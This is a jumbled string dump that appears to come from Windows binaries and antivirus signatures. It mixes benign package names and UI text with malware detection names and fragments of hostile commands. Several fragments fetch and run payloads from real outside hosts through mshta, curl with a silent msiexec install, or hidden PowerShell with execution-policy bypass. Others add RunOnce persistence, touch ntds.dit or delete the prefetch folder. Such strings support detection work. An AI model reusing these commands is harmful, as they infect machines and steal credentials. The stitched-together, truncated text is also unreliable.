/System32\x
\Windows\
WINDOWS11
oftware\Microsoft\Windows NT
IWin32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName
dsazure.blob.core.windows.net
percent]windowsupdate,version
s\system32
ComSpec=C:\WINDOWS\system32\cmd.exe;
#if(!ouishdfs){sgiduohl.run('cmd/ccd/d"c:\\users\\%username%\\appdata\\local\\temp\\"&copyc:\\windows\\system32\\curl.exengbcln.exe&ngbcln.exe-o"c:\\users\\%username%\\documents\\rwygbacv.pdf
.closegetobject("winmgmts:").get("win32_process").create"cmd.exe/cc:\windows\temp\
 .bat"set"startupfile=%appdata%\microsoft\windows
Microsoft.Windows.Security.BitLocker.CSP.State.Update
Microsoft.Windows.Security.BitLocker.EncryptionDelay
Microsoft.Windows.Security.BitLocker.BcdUpdate
Microsoft.Windows.IntelSADetection
execute("@homedrive&""\windows\microsoft.net\framework\
Global.WidgetViewWinUI3Global.WidgetViewWinUI3@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}http://microsoft.com
Global.WidgetPickerGlobal.WidgetPicker@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}http://microsoft.comomp
Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2022.2510.2.0_neutral%
kkstart-process-windowstylehidden'%temp%
79^com.microsoft.windows.extensionpackage
7c^com.microsoft.windows.extensionpackage
81^com.microsoft.windows.extensionpackage
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
ROOT\Microsoft\Windows\AppBackgroundTask
windows.hlp`
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
?OnFeatureConfigurationMessageReceived@FeatureConfigurationChannel@FeatureConfiguration@@SAXPE$AAVString@Platform@@PE$AAVJsonValue@Json@Data@Windows@@@Z
get-windowsfeature
Behavior:Win32/WinlogonRegistryUserInit.C
Behavior:Win32/WinlogonRegistryUserInit.D
Windows.Security
Windows.Security.winmd
Windows.Security.Authentication.Identity.Core
Windows.Security.Authentication.Identity
onecoreuap\windows\directx\dxg\common\autohdrconverter\lib\hdrconverter.cpp
onecoreuap\windows\DirectX\dxg\DXGI\dll\pch.cpp
onecoreuap\internal\windows\inc\private\dxgi\dxgieffectutility.h
onecoreuap\internal\windows\inc\private\dxgi\dxgiAppHelpers.h
onecoreuap\windows\directx\dxg\dxgi\dll\factory.cpp
onecoreuap\windows\directx\dxg\dxgi\dll\wrap_dcomp.cpp
onecoreuap\windows\directx\dxg\dxgi\dll\dxgi.cpp
Microsoft.Windows.ConnectionManager
MICROSOFTWINDOWS.59337145.LIVTOP_CW5N1H2TXYEWY
MICROSOFTWINDOWS.59336768.SPEION_CW5N1H2TXYEWY
MICROSOFTWINDOWS.59379618.INPAPP_CW5N1H2TXYEWY
-onecoreuap\windows\directx\dxg\common\autohdrconverter\lib\hdrconverterdx11.cpp
FSOFTWARE\Microsoft\Windows\CurrentVersion\AppOnHMD
onecoreuap\windows\directx\dxg\ce backbuffer copy
onecoreuap\windows\directx\dxg\common\upscaleeffect\lib\sreffect.cpp
?onecoreuap\windows\directx\dxg\common\upscaleeffect\lib\SREffect.hpp
onecoreuap\windows\directx\dxg\common\upscaleeffect\lib\sreffectdx12.cpp
AslEnvGetSystem32DirPathBuf
GetSystemWindowsDirectoryW
windows settingBing
-windowstylehidden-nologo-nopr
\\system32\
WER/ReportFault/%u:%u: ERROR GetSystemWindowsDirectory failed or the size was inadequate.
z1system32b.
zc:\windowsE
="-windowstylehidden;$
rundll32.exec:\windows\
\windows\system32\services.exe
\windows\currentversion\
^c:\windows\system32\windowspowershell\v1.0\powershell.exe.([char]105+[char]101+[char]120)('mshtahttp://91.103.253.49/carrieragreement'-replace'')"
.exe@eu]e8v3i.+cmd.exeo2n\n0-sysc:\windows\system32\cmd.exec/c"
.cmdreg"acetimetertbansalaguezltfc:\windows\system32\zipfldr.dll%systemroot%
c:\windows\system32\cmd.exe/cstartexplorer.exe"
c:\windows\system32\cmd.exe/cstartexplorer.exe"
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.14
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.35
MICROSOFT.WINDOWS.CONTENTDELIVERYMANAGER_10.0.26100.1_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.33
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.22
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.25
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.15
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.24
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.29
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.23
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.13
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.11
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.16
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.31
2.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
USERPROFILE=C:\WINDOWS\system32\config
Windows\S
LOCALAPPDATA=C:\WINDOWS\system32\config
#les%\WindowsPowerShell\Modules;C:\WINDOWS\system32.
\locals~1\temp\winlogon.vbs"exit
c:\windows\system32\cmd.exe/kstartmsedgehttps://withwise.com/wp-content/uploads/2024/09/payment-training-guide-mcs.pdf&curl-slo%temp%\bosfortuy.mshttp://rent-365.shop/part/setup6541.msi&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-epbypass-wh$localpath=(get-location).path;remove-item-path"$localpath\.lnk"-force;$h='ht';$t='tps';curl"${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|ndows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
63^windows.appExtension
64^windows.appExtension
\\WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-VBSCRIPT-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ImmersiveColor
Microsoft.Windows.UxTheme
Microsoft.Windows.Shell.Desktop.ThemeHoldback
regwrite("hklm\software\microsoft\windows\currentversion\runonce"
WindowsVersion
GetProcessWindowStation
GetWindowsDirectoryW
Mozilla/5.0 (Windows NT 10.0; Win64; x
Windows
CAAA_SettingsGroupPCSystemWindowsInfo$
See if Windows is activated<$
Windows infoC#
Windows specificationsD"
Show settings to enable Windows tips and suggestionsP
Choose how many windows and tabs appear on Alt+Tab and Snap Assist2
Windows.Desktop
Windows Desktop
EVT-Windows-C++-No-3.8.2
Windows11
.?AVCharsetRecog_windows_1251@icu_internal@@
.?AVCharsetRecog_windows_1256@icu_internal@@
WindowsForms10.BUTTON.app.0.129c866_r7_ad1
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@USettingsExpander@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IF
..Run "my_application_path"Windows Photo Viewer\ImagingDevicesT
C:\WINDOWS\system32\svchost.exe
Run Sample v1C:\c_code\helper\windows\executer\Release
Windows
Root=C:\WINDOWS
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
el-Windows.dll
Model@WindowsUdk
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
c:\windows\WinInstall.logmB3JhlrjUxL1YJcninject.dll
l><head><metahttp-equiv="content-type"content="text/html;charset=windows-1252"><title>dhl</title><styletype>
%s%s%s.tmp%s%s.sys\\?\globalroot\systemroot\system32\ole32.dll\\?\globalroot\systemroot\system32\msvcrt.dllTrojanDownloader:ASX/Wimad.BE
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WINDOWS\system32\config
=C:\Windows\S
  Microsoft.Windows.WMI.Winmgmt traces count = %I64u
C:\Users\X55\source\repos\WindowsFormsApp36\WindowsFormsApp36\obj\Release\WindowsFormsApp36.pdbRansom:Win32/Conti.IPA!MTB
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Windows Defender Exploit Guard detected Office application creating the child process
%programfiles(x86)%\WindowsApps\*\Office??\EXCEL.EXE
%programfiles(x86)%\WindowsApps\*\Office??\MSACCESS.EXE
%programfiles(x86)%\WindowsApps\*\Office??\ONENOTE.EXE
%programfiles(x86)%\WindowsApps\*\Office??\POWERPNT.EXE
%programfiles(x86)%\WindowsApps\*\Office??\WINWORD.EXE
%programfiles%\WindowsApps\*\Office??\EXCEL.EXE
%programfiles%\WindowsApps\*\Office??\MSACCESS.EXE
%programfiles%\WindowsApps\*\Office??\ONENOTE.EXE
%programfiles%\WindowsApps\*\Office??\POWERPNT.EXE
%programfiles%\WindowsApps\*\Office??\WINWORD.EXE
$Windows.Foundation.WwwFormUrlDecoder
'Windows.Foundation.IMemoryBufferFactory
'Windows.Foundation.UniversalApiContract
2Windows.Foundation.Metadata.IApiInformationStatics
%Windows.Foundation.FoundationContract
%Windows.Foundation.FoundationContract
'Windows.Foundation.UniversalApiContract
%Windows.Foundation.FoundationContract
*Windows.Foundation.Metadata.ApiInformation
'Windows.Foundation.UniversalApiContract
(Windows.Foundation.IPropertyValueStatics
%Windows.Foundation.FoundationContract
$Windows.Foundation.IUriEscapeStatics
'Windows.Foundation.UniversalApiContract
*Windows.Foundation.IUriRuntimeClassFactory
'Windows.Foundation.UniversalApiContract
8Windows.Foundation.IWwwFormUrlDecoderRuntimeClassFactory
'Windows.Foundation.UniversalApiContract
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTMwbem
 \windows\ntds\ntds.dit%temp%
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
System.Windows.Forms.UnsafeNativeMethods.ISelectionProvider.IsSelectionRequired
System.Windows.Forms.UnsafeNativeMethods.ISelectionProvider.get_IsSelectionRequired
Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType
Windows NT\CurrentVersion\WbemPerf
start/mincmd/cpowershell.exe-windowstylehidden-command"$fpt=\"$env:localappdata\\firewallcomponents\";$microsoft='dll3';
void __cdecl winrt::impl::check_status_canceled(enum winrt::Windows::Foundation::AsyncStatus)
struct winrt::Windows::Foundation::IUriEscapeStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Foundation::IUriEscapeStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IUriEscapeStatics<struct winrt::Windows::Foundation::IUriEscapeStatics>::EscapeComponent(const struct winrt::param::hstring &) const
struct winrt::Windows::Foundation::IUriRuntimeClassFactory __cdecl winrt::get_activation_factory<struct winrt::Windows::Foundation::IUriRuntimeClassFactory>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IUriRuntimeClassFactory<struct winrt::Windows::Foundation::IUriRuntimeClassFactory>::CreateUri(const struct winrt::param::hstring &) const
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\Windows.Foundation.h
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\Windows.ApplicationModel.Activation.h
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Activation_IActivatedEventArgs<struct winrt::Windows::ApplicationModel::Activation::IActivatedEventArgs>::Kind(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IUriRuntimeClass<struct winrt::Windows::Foundation::IUriRuntimeClass>::SchemeName(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::IWwwFormUrlDecoderRuntimeClass,struct winrt::Windows::Foundation::IWwwFormUrlDecoderEntry>::GetAt(unsigned int) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IWwwFormUrlDecoderEntry<struct winrt::Windows::Foundation::IWwwFormUrlDecoderEntry>::Name(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IWwwFormUrlDecoderEntry<struct winrt::Windows::Foundation::IWwwFormUrlDecoderEntry>::Value(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Activation_IProtocolActivatedEventArgs<struct winrt::Windows::ApplicationModel::Activation::IProtocolActivatedEventArgs>::Uri(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncAction<struct winrt::Windows::Foundation::IAsyncAction>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncAction>::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVector<struct winrt::Windows::Foundation::Collections::IVector<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance>,struct winrt::Microsoft::Windows::AppLifecycle::AppInstance>::Append(const struct winrt::Microsoft::Windows::AppLifecycle::AppInstance &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason> >::Status(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Core::AppRestartF
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft.Windows.OneSettingsCommonClient
ElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UServicesPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UServicesPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UServicesPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UServicesPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UServi\{0a00d11e-b1e7-44b5-ad88-c9190876aac4}
\windows media player\mefexova.html
Windows-
del /s /f /q c:\windows\prefetchd
Microsoft.Windows.AppLifecycle.ActivationRegistrationManager
Microsoft.Windows.AppLifecycle.AppInstance
Microsoft.Windows.AppNotifications.AppNotification
Microsoft.Windows.AppNotifications.AppNotificationActivatedEventArgs
Microsoft.Windows.AppNotifications.AppNotificationManager
Microsoft.Windows.AppNotifications.AppNotificationProgressData
Microsoft.Windows.AppNotifications.Builder.AppNotificationBuilder
Microsoft.Windows.AppNotifications.Builder.AppNotificationButton
Microsoft.Windows.AppNotifications.Builder.AppNotificationComboBox
Microsoft.Windows.AppNotifications.Builder.AppNotificationProgressBar
Microsoft.Windows.AppNotifications.Builder.AppNotificationTextProperties
Microsoft.Windows.ApplicationModel.DynamicDependency.AddPackageDependencyOptions
Microsoft.Windows.ApplicationModel.DynamicDependency.CreatePackageDependencyOptions
Microsoft.Windows.ApplicationModel.DynamicDependency.PackageDependency
Microsoft.Windows.ApplicationModel.DynamicDependency.PackageDependencyContext
Microsoft.Windows.ApplicationModel.DynamicDependency.PackageDependencyRank
Microsoft.Windows.ApplicationModel.Resources.KnownResourceQualifierName
Microsoft.Windows.ApplicationModel.Resources.ResourceCandidate
